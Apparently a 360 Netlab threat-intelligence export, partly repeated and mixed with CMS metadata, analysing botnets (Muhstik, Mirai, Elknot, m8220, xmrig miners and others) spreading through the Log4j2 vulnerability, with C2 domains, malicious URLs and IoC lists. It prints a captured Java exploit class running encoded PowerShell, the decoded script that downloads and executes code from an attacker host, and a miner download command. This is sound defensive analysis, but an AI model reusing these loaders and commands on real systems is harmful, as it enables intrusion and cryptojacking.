[0x08]: "log.exposedbotnets.ru\x00", size=22
[0x0a]: "/proc/\x00", size=7
[0x0c]: "/exe\x00", size=5
[0x0d]: "/status\x00", size=8
[0x0e]: "/fd\x00", size=4
[0x0f]: "\x58\x4D\x4E\x4E\x43\x50\x46\x22\x00", size=33
[0x10]: "zollard\x00", size=8
[0x11]: "muhstik-11052018\x00", size=17
[0x12]: "\x02^nL\x0b\x1a\x06_nL\x02\x0f\x00", size=13
[0x13]: "eth1\x00", size=5
[0x14]: "lan0\x00", size=5
[0x15]: "-\x00", size=2
[0x16]: "eth0\x00", size=5
[0x17]: "inet0\x00", size=6
[0x18]: "lano\x00", size=5
[0x19]: "log.exposedbotnets.ru\x00", size=22
[0x1a]: "log.exposedbotnets.ru\x00", size=22
[0x1b]: "d4cf8e4ab26f7fd15ef7df9f7937493d\x00", size=33
[0x1c]: "log.exposedbotnets.ru\x00", size=22
[0x1d]: "37.44.244.124\x00", size=14
[0x1e]: "37.44.244.124\x00", size=14
[0x1f]: "37.44.244.124\x00", size=14
[0x20]: "37.44.244.124\x00", size=14
[0x21]: "37.44.244.124\x00", size=14
[0x22]: "log.exposedbotnets.ru\x00", size=22
[0x23]: "log.exposedbotnets.ru\x00", size=22
</code></pre>
<p>The <code>log.exposedbotnets.ru</code> is C2, which resolves to <code>37.44.244.124</code>. The author registered a domain starting with log perhaps intentionally to fit the Log4j vulnerability.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Considering the huge impact of the Log4j vulnerability, we expect more botnets to support it to spread. We will keep an eye on this and will share new observations here.</p>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">Twitter</a> or email us to netlab at 360 dot cn.</p>
<h2 id="ioc">IOC:</h2>
<h3 id="mirai">Mirai</h3>
<p>C2:</p>
<pre><code>nazi.uy
</code></pre>
<p>URL:</p>
<pre><code>http://62.210.130.250/lh.sh
http://62.210.130.250:80/web/admin/x86_64
http://62.210.130.250:80/web/admin/x86
http://62.210.130.250:80/web/admin/x86_g
</code></pre>
<h3 id="muhstik">Muhstik</h3>
<p>C2:</p>
<pre><code>log.exposedbotnets.ru
</code></pre>
<p>URL:</p>
<pre><code>http://45.130.229.168:9999/Exploit.class
http://18.228.7.109/.log/log
http://18.228.7.109/.log/pty1;
http://18.228.7.109/.log/pty2;
http://18.228.7.109/.log/pty3;
http://18.228.7.109/.log/pty4;
http://18.228.7.109/.log/pty5;
http://210.141.105.67:80/wp-content/themes/twentythirteen/m8
http://159.89.182.117/wp-content/themes/twentyseventeen/ldm
</code></pre>
<!--kg-card-end: markdown--> | The Log4j vulnerability that came to light at the end of the year can undoubtedly be considered a major event in the security community. Honeypot and botnet are our bread and butter, and we have been concerned about which botnets would be exploiting this since the vulnerability was made public. This morning we got the first answers, our Anglerfish and Apacket honeypots have caught 2 waves of attacks using the Log4j vulnerability to form botnets, and a quick sample analysis showed that they were used to form Muhstik and Mirai botnets respectively, both targeting Linux devices.
Sample Analysis
MIRAI
This wave propagates a new variant of miria, which has made the following changes compared to the initial code.
1.
table_init/table_lock_val/table_unlock_val and other mirai-specific configuration management functions have been removed.
2.
The attack_init function is also discarded, and the ddos attack function is called directly by the command processing function.
Also, a uy top-level domain is chosen for its C2 domain name, which is also rare.
Muhstik
Muhstik, a botnet we disclosed in 2018, is a variant of Tsunami that borrows from the Mirai code. In this captured sample, we note that the new Muhstik variant adds a backdoor module, ldm, which has the ability to add an SSH backdoor public key with the following installed backdoor public key.
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQBtGZHLQlMLkrONMAChDVPZf+9gNG5s2rdTMBkOp6P7mKIQ/OkbgiozmZ3syhELI4L0M1TmJiRbbrIta8662z4WAKhXpiU22llfwrkN0m8yKJApd8lDzvvdBw+ShzJr+WaEWX7uW3WCe5NCxGxc6AU7c2vmuLlO0B203pIGVIbV1xJmj6MXrdZpNy7QRo9zStWmgmVY4GR4v26R3XDOn1gshuQ6PgUqgewQ+AlslLVuekdH23sLQfejXyJShcoFI6BbH67YTcoh4G/TuQdGe8lIeAAmp7lzzHMyu+2iSNoFFCeF48JSA2YZvssFOsGuAtV/9uPNQoi9EyvgM2mGDgJ
After the public key is added to the ~/.ssh/authorized_keys file, the attacker can directly log into the remote server without password authentication.
Considering the special vulnerability mechanism of log4j2, Muhstik takes a blunt approach to spread the payload aimlessly knowing that there will be vulnerable machines, and in order to know who has been infected, Muhstik adopts TOR network for its reporting mechanism.
Before accessing the TOR network, Muhstik queries relay.l33t-ppl.inf through some publicly available DoH services(see the list beflow). During this process, a number of DNS requests are generated. Note: The following domains are not C2 domains but DoH service providers, depends on the situation, readers might be able to use the list to crosscheck their network for possible infections if they are not expect DoH usage on their network.
doh.defaultroutes.de
dns.hostux.net
dns.dns-over-https.com
uncensored.lux1.dns.nixnet.xyz
dns.rubyfish.cn dns.twnic.tw
doh.centraleu.pi-dns.com
doh.dns.sb doh-fi.blahdns.com
fi.doh.dns.snopyta.org
dns.flatuslifir.is
doh.li
dns.digitale-gesellschaft.ch
When it is not possible to report infect information directly from the TOR network, Muhstik will try to use TOR's public mapped domains, the list of relevant domains is as follows
bvprzqhoz7j2ltin.onion.ws
bvprzqhoz7j2ltin.onion.ly
bvprzqhoz7j2ltin.tor2web.s
Muhstik's ELF sample has the following codes.：
We can see that the sample supports DDoS and backdoor commands. The C2 of the sample is stored in a mirai-style configuration with the following configuration information in plain text.：
[0x02]: "listening tun0\x00", size=15
[0x03]: "irc.de-za"\x1f\x90"listening tun0\x00"l", size=30
[0x04]: "\x1f\x90", size=2
[0x05]: "log.exposedbotnets.ru\x00", size=22
[0x06]: "log.exposedbotnets.ru\x00", size=22
[0x07]: "log.exposedbotnets.ru\x00", size=22
[0x08]: "log.exposedbotnets.ru\x00", size=22
[0x0a]: "/proc/\x00", size=7
[0x0c]: "/exe\x00", size=5
[0x0d]: "/status\x00", size=8
[0x0e]: "/fd\x00", size=4
[0x0f]: "\x58\x4D\x4E\x4E\x43\x50\x46\x22\x00", size=33
[0x10]: "zollard\x00", size=8
[0x11]: "muhstik-11052018\x00", size=17
[0x12]: "\x02^nL\x0b\x1a\x06_nL\x02\x0f\x00", size=13
[0x13]: "eth1\x00", size=5
[0x14]: "lan0\x00", size=5
[0x15]: "-\x00", size=2
[0x16]: "eth0\x00", size=5
[0x17]: "inet0\x00", size=6
[0x18]: "lano\x00", size=5
[0x19]: "log.exposedbotnets.ru\x00", size=22
[0x1a]: "log.exposedbotnets.ru\x00", size=22
[0x1b]: "d4cf8e4ab26f7fd15ef7df9f7937493d\x00", size=33
[0x1c]: "log.exposedbotnets.ru\x00", size=22
[0x1d]: "37.44.244.124\x00", size=14
[0x1e]: "37.44.244.124\x00", size=14
[0x1f]: "37.44.244.124\x00", size=14
[0x20]: "37.44.244.124\x00", size=14
[0x21]: "37.44.244.124\x00", size=14
[0x22]: "log.exposedbotnets.ru\x00", size=22
[0x23]: "log.exposedbotnets.ru\x00", size=22
The log.exposedbotnets.ru is C2, which resolves to 37.44.244.124. The author registered a domain starting with log perhaps intentionally to fit the Log4j vulnerability.
Conclusion
Considering the huge impact of the Log4j vulnerability, we expect more botnets to support it to spread. We will keep an eye on this and will share new observations here.
Contact us
Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.
IOC:
Mirai
C2:
nazi.uy
URL:
http://62.210.130.250/lh.sh
http://62.210.130.250:80/web/admin/x86_64
http://62.210.130.250:80/web/admin/x86
http://62.210.130.250:80/web/admin/x86_g
Muhstik
C2:
log.exposedbotnets.ru
URL:
http://45.130.229.168:9999/Exploit.class
http://18.228.7.109/.log/log
http://18.228.7.109/.log/pty1;
http://18.228.7.109/.log/pty2;
http://18.228.7.109/.log/pty3;
http://18.228.7.109/.log/pty4;
http://18.228.7.109/.log/pty5;
http://210.141.105.67:80/wp-content/themes/twentythirteen/m8
http://159.89.182.117/wp-content/themes/twentyseventeen/ldm
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"The Log4j vulnerability that came to light at the end of the year can undoubtedly be considered a major event in the security community. Honeypot and botnet are our bread and butter, and we have been concerned about which botnets would be exploiting this since the vulnerability was made public. This morning we got the first answers, our Anglerfish and Apacket honeypots have caught 2 waves of attacks using the Log4j vulnerability to form botnets, and a quick sample analysis showed that they were used to form Muhstik and Mirai botnets respectively, both targeting Linux devices.\n\n## Sample Analysis\n\n### MIRAI\nThis wave propagates a new variant of miria, which has made the following changes compared to the initial code.\n\n1. table_init/table_lock_val/table_unlock_val and other mirai-specific configuration management functions have been removed.\n\n2. The attack_init function is also discarded, and the ddos attack function is called directly by the command processing function.\n\nAlso, a uy top-level domain is chosen for its C2 domain name, which is also rare.\n\n\n### Muhstik\n\nMuhstik, a botnet we disclosed in [2018]((https://blog.netlab.360.com/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/)), is a variant of Tsunami that borrows from the Mirai code. In this captured sample, we note that the new Muhstik variant adds a backdoor module, ldm, which has the ability to add an SSH backdoor public key with the following installed backdoor public key.\n```\nssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQBtGZHLQlMLkrONMAChDVPZf+9gNG5s2rdTMBkOp6P7mKIQ/OkbgiozmZ3syhELI4L0M1TmJiRbbrIta8662z4WAKhXpiU22llfwrkN0m8yKJApd8lDzvvdBw+ShzJr+WaEWX7uW3WCe5NCxGxc6AU7c2vmuLlO0B203pIGVIbV1xJmj6MXrdZpNy7QRo9zStWmgmVY4GR4v26R3XDOn1gshuQ6PgUqgewQ+AlslLVuekdH23sLQfejXyJShcoFI6BbH67YTcoh4G/TuQdGe8lIeAAmp7lzzHMyu+2iSNoFFCeF48JSA2YZvssFOsGuAtV/9uPNQoi9EyvgM2mGDgJ\n```\n\nAfter the public key is added to the ~/.ssh/authorized_keys file, the attacker can directly log into the remote server without password authentication.\n\nConsidering the special vulnerability mechanism of log4j2, Muhstik takes a blunt approach to spread the payload aimlessly knowing that there will be vulnerable machines, and in order to know who has been infected, Muhstik adopts TOR network for its reporting mechanism.\n\nBefore accessing the TOR network, Muhstik queries relay.l33t-ppl.inf through some publicly available DoH services(see the list beflow). During this process, a number of DNS requests are generated. Note: The following domains are not C2 domains but DoH service providers, depends on the situation, readers might be able to use the list to crosscheck their network for possible infections if they are not expect DoH usage on their network.\n```\ndoh.defaultroutes.de\ndns.hostux.net\ndns.dns-over-https.com\nuncensored.lux1.dns.nixnet.xyz\ndns.rubyfish.cn dns.twnic.tw\ndoh.centraleu.pi-dns.com\ndoh.dns.sb doh-fi.blahdns.com\nfi.doh.dns.snopyta.org\ndns.flatuslifir.is\ndoh.li\ndns.digitale-gesellschaft.ch\n```\n\nWhen it is not possible to report infect information directly from the TOR network, Muhstik will try to use TOR's public mapped domains, the list of relevant domains is as follows\n```\nbvprzqhoz7j2ltin.onion.ws\nbvprzqhoz7j2ltin.onion.ly\nbvprzqhoz7j2ltin.tor2web.s\n```\n\nMuhstik's ELF sample has the following codes.：\n\n\nWe can see that the sample supports DDoS and backdoor commands. The C2 of the sample is stored in a mirai-style configuration with the following configuration information in plain text.：\n```\n [0x02]: \"listening tun0\\x00\", size=15\n [0x03]: \"irc.de-za\"\\x1f\\x90\"listening tun0\\x00\"l\", size=30\n [0x04]: \"\\x1f\\x90\", size=2\n [0x05]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x06]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x07]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x08]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x0a]: \"/proc/\\x00\", size=7\n [0x0c]: \"/exe\\x00\", size=5\n [0x0d]: \"/status\\x00\", size=8\n [0x0e]: \"/fd\\x00\", size=4\n [0x0f]: \"\\x58\\x4D\\x4E\\x4E\\x43\\x50\\x46\\x22\\x00\", size=33\n [0x10]: \"zollard\\x00\", size=8\n [0x11]: \"muhstik-11052018\\x00\", size=17\n [0x12]: \"\\x02^nL\\x0b\\x1a\\x06_nL\\x02\\x0f\\x00\", size=13\n [0x13]: \"eth1\\x00\", size=5\n [0x14]: \"lan0\\x00\", size=5\n [0x15]: \"-\\x00\", size=2\n [0x16]: \"eth0\\x00\", size=5\n [0x17]: \"inet0\\x00\", size=6\n [0x18]: \"lano\\x00\", size=5\n [0x19]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x1a]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x1b]: \"d4cf8e4ab26f7fd15ef7df9f7937493d\\x00\", size=33\n [0x1c]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x1d]: \"37.44.244.124\\x00\", size=14\n [0x1e]: \"37.44.244.124\\x00\", size=14\n [0x1f]: \"37.44.244.124\\x00\", size=14\n [0x20]: \"37.44.244.124\\x00\", size=14\n [0x21]: \"37.44.244.124\\x00\", size=14\n [0x22]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x23]: \"log.exposedbotnets.ru\\x00\", size=22\n```\n\nThe `log.exposedbotnets.ru` is C2, which resolves to `37.44.244.124`. The author registered a domain starting with log perhaps intentionally to fit the Log4j vulnerability.\n\n## Conclusion\nConsidering the huge impact of the Log4j vulnerability, we expect more botnets to support it to spread. We will keep an eye on this and will share new observations here.\n\n## Contact us\nReaders are always welcomed to reach us on [Twitter](https://twitter.com/360Netlab) or email us to netlab at 360 dot cn.\n\n\n## IOC:\n### Mirai\nC2:\n```\nnazi.uy\n```\n\nURL:\n```\nhttp://62.210.130.250/lh.sh\nhttp://62.210.130.250:80/web/admin/x86_64\nhttp://62.210.130.250:80/web/admin/x86\nhttp://62.210.130.250:80/web/admin/x86_g\n```\n\n### Muhstik\nC2:\n```\nlog.exposedbotnets.ru\n```\n\nURL:\n```\nhttp://45.130.229.168:9999/Exploit.class\nhttp://18.228.7.109/.log/log\nhttp://18.228.7.109/.log/pty1;\nhttp://18.228.7.109/.log/pty2;\nhttp://18.228.7.109/.log/pty3;\nhttp://18.228.7.109/.log/pty4;\nhttp://18.228.7.109/.log/pty5;\nhttp://210.141.105.67:80/wp-content/themes/twentythirteen/m8\nhttp://159.89.182.117/wp-content/themes/twentyseventeen/ldm\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 61b4b2523819e50007636db1 |
post | null | 2021-12-13T07:38:47.000Z | 63873b9a8b1c1e0007f52fff | yi-jing-you-xxxge-jia-zu-de-botnetli-yong-log4shelllou-dong-chuan-bo-wei-da-bu-ding-de-gan-jin-liao | 0 | 2022-06-24T03:48:00.000Z | public | published | null | 2021-12-13T13:48:52.000Z | 已有10个家族的恶意样本利用Log4j2漏洞传播 | <!--kg-card-begin: markdown--><h2 id="">背景介绍</h2>
<p>2021年12月11号8点整，我们率先捕获到Muhstik僵尸网络样本通过Log4j2 RCE漏洞传播，并首发披露Mirai和Muhstik僵尸网络在野利用详情<a href="__GHOST_URL__/wei-xie-kuai-xun-log4jlou-dong-yi-jing-bei-yong-lai-zu-jian-botnet-zhen-dui-linuxshe-bei/">[1]</a>。</p>
<p>2天来，我们陆续又捕获到其它家族的样本，目前，这个家族列表已经超过10个，这里从漏洞、payload、攻击IP 和样本分析等几个维度介绍我们的捕获情况。</p>
<h2 id="apachelog4j2">Apache Log4j2 漏洞攻击分布</h2>
<p>360网络安全研究院大网蜜罐系统监测到Apache Log4j2 RCE漏洞（CVE-2021-44228）扫描及攻击，源IP地址地理位置分布如下：<br>
<a href="__GHOST_URL__/content/images/2021/12/log4j2_source_ip.png"><img src="__GHOST_URL__/content/images/2021/12/log4j2_source_ip.png" class="kg-image"/></a></p>
<table>
<thead>
<tr>
<th>国家/地区</th>
<th>攻击源IP数量</th>
</tr>
</thead>
<tbody>
<tr>
<td>Germany</td>
<td>271</td>
</tr>
<tr>
<td>The Netherlands</td>
<td>143</td>
</tr>
<tr>
<td>China</td>
<td>134</td>
</tr>
<tr>
<td>United States</td>
<td>123</td>
</tr>
<tr>
<td>United Kingdom</td>
<td>29</td>
</tr>
<tr>
<td>Canada</td>
<td>27</td>
</tr>
<tr>
<td>Singapore</td>
<td>23</td>
</tr>
<tr>
<td>India</td>
<td>22</td>
</tr>
<tr>
<td>Japan</td>
<td>15</td>
</tr>
<tr>
<td>Russia</td>
<td>12</td>
</tr>
</tbody>
</table>
<p>通过对扫描端口分析发现，扫描目的端口主要是8081端口（Apache Flink）占比31.61%，其次是8983端口（Apache Solr）占比28.1%，如下图：<br>
<a href="__GHOST_URL__/content/images/2021/12/log4j2_ports.png"><img src="__GHOST_URL__/content/images/2021/12/log4j2_ports.png" class="kg-image"/></a></p>
<h2 id="ip">攻击IP溯源分析</h2>
<p>我们目前已经捕获超过1050个攻击源IP，主要来自于ALPHASTRIKE-RESEARCH，ASMK和DIGITALOCEAN-ASN，占比50%以上，扫描整体趋势如下：<br>
<a href="__GHOST_URL__/content/images/2021/12/log4j2_asn.png"><img src="__GHOST_URL__/content/images/2021/12/log4j2_asn.png" class="kg-image"/></a></p>
<p>扫描源IP来自全球各个国家，其中德国占比最大，如下图:<br>
<a href="__GHOST_URL__/content/images/2021/12/log4j2_country.png"><img src="__GHOST_URL__/content/images/2021/12/log4j2_country.png" class="kg-image"/></a></p>
<p>攻击源IP主要为国外大网测绘厂商IP，以及大量Tor代理出口节点IP<br>
<a href="__GHOST_URL__/content/images/2021/12/log4j2_actor.png"><img src="__GHOST_URL__/content/images/2021/12/log4j2_actor.png" class="kg-image"/></a></p>
<p>攻击源IP来源云厂商分布<br>
<a href="__GHOST_URL__/content/images/2021/12/log4j2_cloud_vendor.png"><img src="__GHOST_URL__/content/images/2021/12/log4j2_cloud_vendor.png" class="kg-image"/></a></p>
<h2 id="botnet">样本和Botnet家族分析</h2>
<p>目前，我们共捕获到10个家族的恶意样本，这里按照入口样本的维度逐一介绍。</p>
<h3 id="1muhstikddosbackdoor">1， Muhstik, DDoS+backdoor</h3>
<p>参考我们的上一篇<a href="__GHOST_URL__/wei-xie-kuai-xun-log4jlou-dong-yi-jing-bei-yong-lai-zu-jian-botnet-zhen-dui-linuxshe-bei/">威胁快讯</a>。</p>
<h2 id="2mirai">2， Mirai</h2>
<p>参考我们的上一篇<a href="__GHOST_URL__/wei-xie-kuai-xun-log4jlou-dong-yi-jing-bei-yong-lai-zu-jian-botnet-zhen-dui-linuxshe-bei/">威胁快讯</a>。</p>
<h2 id="3ddoselknot">3， DDoS家族Elknot</h2>
<p>Elknot又名BillGates，最早针对Linux系统，后来被移植到<a href="https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/">Windows平台</a>。<br>
这2种平台的Elknot我们都有捕获，它们共享同样的C2，显然来自同一团伙。</p>
<p>elknot.ELF的样本信息如下：</p>
<pre><code>URL=http://155.94.154.170/aaa
MD5=ded558217c327d8f5c3f8b36118380ab
URL=http://155.94.154.170/log4j
MD5=ded558217c327d8f5c3f8b36118380ab
</code></pre>
<p>elknot.PE的样本信息如下：</p>
<pre><code>URL=http://154.82.110.5:1234/win.exe
MD5=36796319567f5a05571006b874903e87
</code></pre>
<p>C2均为 <code>300gsyn.it:25009</code>。</p>
<h2 id="4m8220">4， 挖矿家族m8220</h2>
<p>这次传播的是m8220变种，入口样本信息如下：</p>
<pre><code>url= http://205.185.113.59:1234/xmss
MD5=75bc0d4022b20fae1f5610109691184e
</code></pre>
<p>进一步提取的恶意URL信息如下：</p>
<pre><code>http://agent.apacheorg.top:1234/xmss
http://205.185.113.59:1234/.rsyslogds
http://205.185.113.59:1234/.inis
http://205.185.113.59:1234/xms
</code></pre>
<h2 id="5sitesloader">5， SitesLoader</h2>
<p>这是近期比较活跃的一个Linux家族，这次也搭上了Log4j这个顺风车。入口样本信息：：</p>
<pre><code>URL=http://185.250.148.157:8005/acc
MD5=933568969efe6b3f8c0621200f0eea5a
</code></pre>
<p>最终会下载一个stage 2的ELF文件 payload：</p>
<pre><code>URL=http://185.250.148.157:8005/index
MD5=720a3a92e72054dc8d58e229c22bb892
C2="https://sites.google.com/view/maintest01"
</code></pre>
<h2 id="6xmrigpe">6， xmrig.pe</h2>
<p>它实际和前述的muhstik共享了同一个exploit，所以应该属于同一团伙，入口exploit对应一个java类：</p>
<pre><code>URL=http://31.220.58.29/Exploit.class
MD5=f6e51ea341570c6e9e4c97aee082822b
</code></pre>
<p>它能同时攻击Linux和Windows机器，针对Linux的部分就是我们前述的muhstik变种，入口样本信息如下：</p>
<pre><code>URL=http://18.228.7.109/.log/log
MD5=1e051111c4cf327775dc3bab4df4bf85
</code></pre>
<p>针对Windows平台的入口样本信息如下：</p>
<pre><code>URL=http://172.105.241.146:80/wp-content/themes/twentysixteen/s.cmd
MD5=bf6935865f63c32c0530a61da9b85d53
</code></pre>
<p>它指向一个Powershell脚本，核心内容是下载一个xmrig程序并运行：</p>
<pre><code>powershell -w hidden -c (new-object System.Net.WebClient).DownloadFile('http://54.210.230.186:80/wp-content/themes/twentyfourteen/xmrig.exe','xmrig.exe')
xmrig.exe -o pool.supportxmr.com:5555 -u 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE -p log
</code></pre>
<p>能看到矿池和钱包地址都硬编码在命令行里了。</p>
<h2 id="7xmrigelf">7， xmrig.ELF</h2>
<p>运行后会下载1个bash脚本和1个xmrig.tar.gz，前者负责解压后者并启动xmrig。样本信息如下：</p>
<pre><code>fseen=2021-12-11 23:45:56
URL=http://129.226.180.53/xmrig_setup/raw/master/xmrig.tar.gz
MD5=64808f03e967d15a7907c41fa0d34e89
fseen=2021-12-11 23:39:18
URL=http://129.226.180.53/xmrig_setup/raw/master/setup_c3pool_miner.sh
MD5=2f5769c38b6e5f4c59b7d831ed612395
</code></pre>
<h2 id="81">8， 攻击工具1</h2>
<pre><code>URL=http://47.243.78.246/12
MD5=5ac6ded41f9a61cd9d026e91af47b695
VT扫描信息：a variant of Linux/Riskware.Meterpreter.C ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped
</code></pre>
<h2 id="92">9， 攻击工具2</h2>
<pre><code>URL=http://170.178.196.41:1111/pglQLHfm
MD5=29851d65fe14699a793bf401cb84c019
VT扫描信息：a variant of Linux/Riskware.Meterpreter.C ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
URL=http://170.178.196.41:35244/qIoPIauO
MD5=eb71a394bcf3e8f83198d51f3f6d7422
VT扫描信息: a variant of Linux/Riskware.Meterpreter.C ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
URL=http://170.178.196.41:8080/UKTPAnRvns
MD5=84c2ccc2f2a4d4fe71249bad63252f32
VT扫描信息: Linux/Shellcode.CZ ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, corrupted section header size
</code></pre>
<h2 id="10pe">10， 未知PE家族</h2>
<p>入口样本基本信息如下：</p>
<pre><code>URL=http://141.98.83.139:9883/exp.class
md5=5b30284b34dcc1912326812c7d2ea723
</code></pre>
<p>它是一个java类，内容如下：</p>
<pre><code>public class exp
{
public exp()
{
}
static
{
try
{
String as[] = {
"cmd", "/c", "powershell", "-exec", "bypass", "-w", "hidden", "-e", "WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABhAGUAQwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABhAGUAQwAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGEAZQBDAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxAC8AUgBXAGoAeABGAHcAeABDAEIARQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxACcAKQApADsA"
};
Runtime.getRuntime().exec(as).waitFor();
}
catch(Exception exception)
{
exception.printStackTrace();
}
}
}
</code></pre>
<p>能看到它会调用powershell解码一个base64串，实际上这个串要经过3次解码才能得到最终的payload，对应一段powershell脚本：</p>
<pre><code>[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$aeC=new-object net.webclient;if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){$aeC.proxy=[Net.WebRequest]::GetSystemWebProxy();$aeC.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;};IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1/RWjxFwxCBE'));IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1'));
</code></pre>
<p>里面包含了如下2个URL：</p>
<pre><code>http://141.98.83.139:18080/nG60k1/RWjxFwxCBE
http://141.98.83.139:18080/nG60k1
</code></pre>
<p>可惜这两个URL均下载失败，所以这里不能提供家族信息。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioc">IoC</h3>
<p>部分攻击源IP:</p>
<pre><code>1.116.59.211
1.179.247.182
101.204.24.28
103.103.0.141
103.103.0.142
103.107.198.109
103.232.136.12
103.244.80.194
103.90.239.209
104.244.72.115
104.244.72.136
104.244.73.126
104.244.74.121
104.244.74.57
104.244.76.13
104.244.76.170
104.244.79.234
104.244.79.6
104.248.144.120
107.172.214.23
107.189.1.160
107.189.1.178
107.189.7.88
109.201.133.100
109.70.100.19
109.70.100.34
109.73.65.32
110.42.200.96
111.28.189.51
111.59.85.209
112.215.172.64
112.27.199.180
112.74.52.90
113.141.64.14
113.98.224.68
114.112.161.155
114.32.82.82
115.151.228.235
115.151.228.4
115.151.228.83
118.27.36.56
119.84.170.84
120.195.30.152
120.211.140.116
121.4.56.143
122.117.91.144
122.161.53.44
124.224.87.29
128.199.15.215
128.199.222.221
128.199.48.147
128.31.0.13
131.100.148.7
133.18.201.195
134.122.33.6
134.209.24.42
134.209.82.14
137.184.102.82
137.184.104.73
137.184.105.192
137.184.137.242
137.184.138.79
137.184.28.58
137.184.96.216
137.184.98.176
137.184.99.8
138.197.106.234
138.197.108.154
138.197.167.229
138.197.216.230
138.197.9.239
138.199.21.199
138.68.155.222
139.28.218.134
139.59.101.242
139.59.103.254
139.59.108.31
139.59.163.74
139.59.188.119
139.59.224.7
139.59.8.39
139.59.96.42
139.59.99.80
14.177.141.126
140.246.171.141
141.98.83.139
142.93.151.166
142.93.157.150
142.93.34.250
143.110.221.204
143.110.221.219
143.198.180.150
143.198.183.66
143.198.45.117
143.244.184.81
144.217.86.109
144.48.37.78
145.220.24.19
146.56.131.161
146.56.148.181
146.70.38.48
147.182.131.229
147.182.154.100
147.182.167.165
147.182.179.141
147.182.187.229
147.182.195.250
147.182.215.36
147.182.216.21
147.182.219.9
147.182.242.144
147.182.242.241
150.158.189.96
151.80.148.159
154.65.28.250
154.94.7.88
156.146.57.41
157.230.32.67
157.245.105.213
157.245.107.6
157.245.108.125
157.245.108.40
157.245.109.75
157.245.129.50
157.245.96.165
159.203.187.141
159.203.45.181
159.203.58.73
159.223.42.182
159.223.61.102
159.223.75.133
159.223.9.17
159.48.55.216
159.65.146.60
159.65.155.208
159.65.58.66
159.65.59.77
159.65.60.100
159.89.115.238
159.89.122.19
159.89.133.216
159.89.150.150
159.89.154.102
159.89.154.185
159.89.154.64
159.89.48.173
159.89.85.91
159.89.94.219
160.238.38.196
161.35.119.60
161.35.155.230
161.35.156.13
162.247.74.202
162.247.74.206
162.253.71.51
162.255.202.246
164.52.53.163
164.90.196.7
164.90.199.206
164.90.199.212
164.90.199.216
164.90.200.6
164.92.254.33
165.22.210.174
165.22.213.246
165.227.32.109
165.232.80.166
166.70.207.2
167.172.65.15
167.172.69.97
167.172.71.96
167.172.85.73
167.172.94.250
167.71.1.144
167.71.13.196
167.71.218.228
167.71.4.81
167.86.70.252
167.99.164.160
167.99.172.111
